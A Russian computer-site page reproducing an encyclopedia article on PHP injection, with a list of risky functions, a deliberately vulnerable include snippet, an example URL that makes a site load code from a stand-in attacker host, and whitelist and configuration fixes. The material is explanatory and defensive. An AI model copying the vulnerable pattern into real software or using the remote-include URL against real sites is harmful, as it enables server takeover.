Около компьютерный сайт.
 
Главная
21 мая 2012 года, понедельник
Ошибка
  • -post-: Вам не разрешено добавлять сообщения в раздел.

PHP-инъекция

WEB-строительство - Уязвимости защиты

PHP-инъекция (англ. PHP injection) — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются:

  • eval(),
  • preg_replace() (с модификатором «e»),
  • require_once(),
  • include_once(),
  • include(),
  • require(),
  • create_function().

PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.

Пример

<?
...
$module = $_GET['module'];
include ($module.'.php');
...
?>

Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.

Взломщик может на своём сайте создать файл, содержащий PHP-код (http://myhackersite.com/hack.php), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://myhackersite.com/hack выполнить любые PHP-команды.

Способы защиты

Существует несколько способов защиты от такой атаки:

  • Проверять, не содержит ли переменная $module посторонние символы:
<?
...
$module = $_GET['module'];
if (strpbrk($module, '.?/:')) die('Blocked');
include $module. '.php';
...
?>
  • Проверять, что $module присвоено одно из допустимых значений:
<?
...
$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module,$arr)) $module = $arr[0];
include $module . '.php';
...
?>

Этот способ является более эффективным, красивым и аккуратным.

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации сервераphp.ini.

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

Материал из Википедии — свободной энциклопедии

(1 Проголосовало)
Прокомментировать
Необходимо авторизоваться или зарегистрироваться для участия в дискуссии.

Смотрите также:
Заработок пользователей
Name
Points
Seth
147
KonstantinRu
110
kiryan
14
andrejtris
14
darknefrit
14
Hitman
4
Посетители


alphauserpoints base boutikone cms cache drop_table sql head html injection installation integration joomla joomla sql juri kunena php-injection sample_data sql sh404sef style text css атака верстка джумла защита макет плагин правило решение сборка скрипт создать статья функции шаблоны

PR-CY.ru
SPRINTHOST.RU: быстрый и надежный хостинг!
  Copyright Утгарда © 2006-2012
Разработка и поддержка сайта Utgarda Media Group